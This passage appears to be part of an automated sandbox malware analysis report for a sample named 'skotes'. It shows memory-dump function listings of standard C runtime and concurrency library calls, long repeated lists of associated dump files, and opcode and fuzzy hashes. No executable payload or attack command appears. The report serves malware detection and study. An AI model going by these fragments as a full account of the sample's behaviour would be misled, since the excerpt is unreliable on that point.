                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930996247.00000000001B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933481614.00000000001B9000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933772740.00000000001BB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2934055992.00000000001C7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2935818868.0000000000319000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936119957.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936418149.0000000000334000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936696260.0000000000336000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000337000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000342000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937425229.0000000000344000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937868849.000000000034B000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938083520.000000000035E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938244760.000000000035F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938383938.000000000036E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938523670.000000000036F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938674264.0000000000371000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938873786.0000000000382000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939094883.0000000000395000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939273560.000000000039A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939476219.00000000003A2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939606803.00000000003AE000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939775691.00000000003AF000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939929184.00000000003B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940086269.00000000003BA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940187146.00000000003BF000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940364041.00000000003C8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940499673.00000000003D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940600891.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940725921.00000000003D8000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940876411.00000000003D9000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940972627.00000000003DA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941121415.00000000003F7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.00000000003FB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.000000000041A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941521391.0000000000447000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941603559.0000000000448000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941672810.0000000000449000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941717161.000000000044D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941768718.000000000044F000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941811068.000000000045D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941849555.000000000045E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941892323.000000000045F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941933760.0000000000460000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_150000_skotes.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: ___scrt_fastfail
                                                                                                                                                                                                                                                                                    • String ID: SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
                                                                                                                                                                                                                                                                                    • API String ID: 2964418898-3242537097
                                                                                                                                                                                                                                                                                    • Opcode ID: 764fadcb626c075fdecae5c03e506f06d189f4411d61db34e35a2562a057ace4
                                                                                                                                                                                                                                                                                    • Instruction ID: 9684bc2e9af571fc585bdcf3b6976e0e36d55fb626383d9a7b2749df8cc82c5e
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 764fadcb626c075fdecae5c03e506f06d189f4411d61db34e35a2562a057ace4
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: CE018F61F82B1169EB3167766C01F6B268A9B82B59F551511F804E3190DF60D8415561
                                                                                                                                                                                                                                                                                    Function 00194C14 Relevance: 7.7, APIs: 5, Instructions: 199COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • __alloca_probe_16.LIBCMT ref: 00194C98
                                                                                                                                                                                                                                                                                    • __alloca_probe_16.LIBCMT ref: 00194D5E
                                                                                                                                                                                                                                                                                    • __freea.LIBCMT ref: 00194DCA
                                                                                                                                                                                                                                                                                      • Part of subcall function 0018B04B: RtlAllocateHeap.NTDLL(00000000,3251C7AA,?,?,0016D3FC,3251C7AA,?,00167A8B,?,?,?,?,?,?,00157465,?), ref: 0018B07E
                                                                                                                                                                                                                                                                                    • __freea.LIBCMT ref: 00194DD3
                                                                                                                                                                                                                                                                                    • __freea.LIBCMT ref: 00194DF6
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2930996247.0000000000151000.00000040.00000001.01000000.00000007.sdmp, Offset: 00150000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930687748.0000000000150000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930996247.00000000001B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933481614.00000000001B9000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933772740.00000000001BB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2934055992.00000000001C7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2935818868.0000000000319000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936119957.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936418149.0000000000334000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936696260.0000000000336000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000337000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000342000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937425229.0000000000344000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937868849.000000000034B000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938083520.000000000035E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938244760.000000000035F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938383938.000000000036E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938523670.000000000036F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938674264.0000000000371000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938873786.0000000000382000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939094883.0000000000395000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939273560.000000000039A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939476219.00000000003A2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939606803.00000000003AE000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939775691.00000000003AF000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939929184.00000000003B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940086269.00000000003BA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940187146.00000000003BF000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940364041.00000000003C8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940499673.00000000003D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940600891.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940725921.00000000003D8000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940876411.00000000003D9000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940972627.00000000003DA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941121415.00000000003F7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.00000000003FB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.000000000041A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941521391.0000000000447000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941603559.0000000000448000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941672810.0000000000449000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941717161.000000000044D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941768718.000000000044F000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941811068.000000000045D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941849555.000000000045E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941892323.000000000045F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941933760.0000000000460000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_150000_skotes.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: __freea$__alloca_probe_16$AllocateHeap
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 1423051803-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 321f67ed6fbdbf09c9dfc794b25dc2915288a5c40088d55a57eb699e9e1876c7
                                                                                                                                                                                                                                                                                    • Instruction ID: 8f41fbe25153175fb6560de28bc4b7ac98fe28f961d4c0a3c2349cd898f0e628
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 321f67ed6fbdbf09c9dfc794b25dc2915288a5c40088d55a57eb699e9e1876c7
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 8551E476A00206AFEF259FA4DC81EBB37E9DFA1754F150129FD04A7140EB30DD128BA0
                                                                                                                                                                                                                                                                                    Function 0017E8DD Relevance: 7.6, APIs: 5, Instructions: 117COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • Concurrency::location::_Assign.LIBCMT ref: 0017E91E
                                                                                                                                                                                                                                                                                    • Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 0017E926
                                                                                                                                                                                                                                                                                    • Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 0017E950
                                                                                                                                                                                                                                                                                    • Concurrency::details::ScheduleGroupSegmentBase::ReleaseInternalContext.LIBCMT ref: 0017E959
                                                                                                                                                                                                                                                                                    • Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 0017E9DC
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2930996247.0000000000151000.00000040.00000001.01000000.00000007.sdmp, Offset: 00150000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930687748.0000000000150000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930996247.00000000001B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933481614.00000000001B9000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933772740.00000000001BB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2934055992.00000000001C7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2935818868.0000000000319000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936119957.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936418149.0000000000334000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936696260.0000000000336000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000337000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000342000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937425229.0000000000344000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937868849.000000000034B000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938083520.000000000035E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938244760.000000000035F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938383938.000000000036E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938523670.000000000036F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938674264.0000000000371000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938873786.0000000000382000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939094883.0000000000395000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939273560.000000000039A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939476219.00000000003A2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939606803.00000000003AE000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939775691.00000000003AF000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939929184.00000000003B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940086269.00000000003BA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940187146.00000000003BF000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940364041.00000000003C8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940499673.00000000003D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940600891.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940725921.00000000003D8000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940876411.00000000003D9000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940972627.00000000003DA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941121415.00000000003F7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.00000000003FB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.000000000041A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941521391.0000000000447000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941603559.0000000000448000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941672810.0000000000449000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941717161.000000000044D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941768718.000000000044F000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941811068.000000000045D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941849555.000000000045E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941892323.000000000045F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941933760.0000000000460000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_150000_skotes.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: Concurrency::details::Context$Base::$GroupScheduleSegment$AssignAvailableConcurrency::location::_EventInternalMakeProcessor::ReleaseRunnableTraceVirtual
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 512098550-0
                                                                                                                                                                                                                                                                                    • Opcode ID: e5138db2c6f0c23068703a75529b52812d53213c44fad4c98519f60aefb899d9
                                                                                                                                                                                                                                                                                    • Instruction ID: 7751df6f8d51f603126a6140599199261232912f0c13c65cee66f081e6402e98
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: e5138db2c6f0c23068703a75529b52812d53213c44fad4c98519f60aefb899d9
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 69413C35A00619ABCB09DF64C854AADB7F6BF88314F048199E90AA7390CB74AE41CF81
                                                                                                                                                                                                                                                                                    Function 0016ECE6 Relevance: 7.6, APIs: 5, Instructions: 101COMMONLIBRARYCODE
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • __EH_prolog3_GS.LIBCMT ref: 0016ECED
                                                                                                                                                                                                                                                                                    • Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT ref: 0016ED17
                                                                                                                                                                                                                                                                                      • Part of subcall function 0016F3DD: Concurrency::critical_section::_Acquire_lock.LIBCONCRT ref: 0016F3FA
                                                                                                                                                                                                                                                                                    • __alloca_probe_16.LIBCMT ref: 0016ED53
                                                                                                                                                                                                                                                                                    • Concurrency::details::EventWaitNode::Satisfy.LIBCONCRT ref: 0016ED94
                                                                                                                                                                                                                                                                                    • Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 0016EDC6
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2930996247.0000000000151000.00000040.00000001.01000000.00000007.sdmp, Offset: 00150000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930687748.0000000000150000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930996247.00000000001B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933481614.00000000001B9000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933772740.00000000001BB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2934055992.00000000001C7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2935818868.0000000000319000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936119957.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936418149.0000000000334000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936696260.0000000000336000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000337000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000342000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937425229.0000000000344000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937868849.000000000034B000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938083520.000000000035E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938244760.000000000035F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938383938.000000000036E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938523670.000000000036F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938674264.0000000000371000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938873786.0000000000382000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939094883.0000000000395000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939273560.000000000039A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939476219.00000000003A2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939606803.00000000003AE000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939775691.00000000003AF000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939929184.00000000003B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940086269.00000000003BA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940187146.00000000003BF000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940364041.00000000003C8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940499673.00000000003D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940600891.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940725921.00000000003D8000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940876411.00000000003D9000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940972627.00000000003DA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941121415.00000000003F7000.00000080.00000001.01000000.00000007.sdmpDownload File
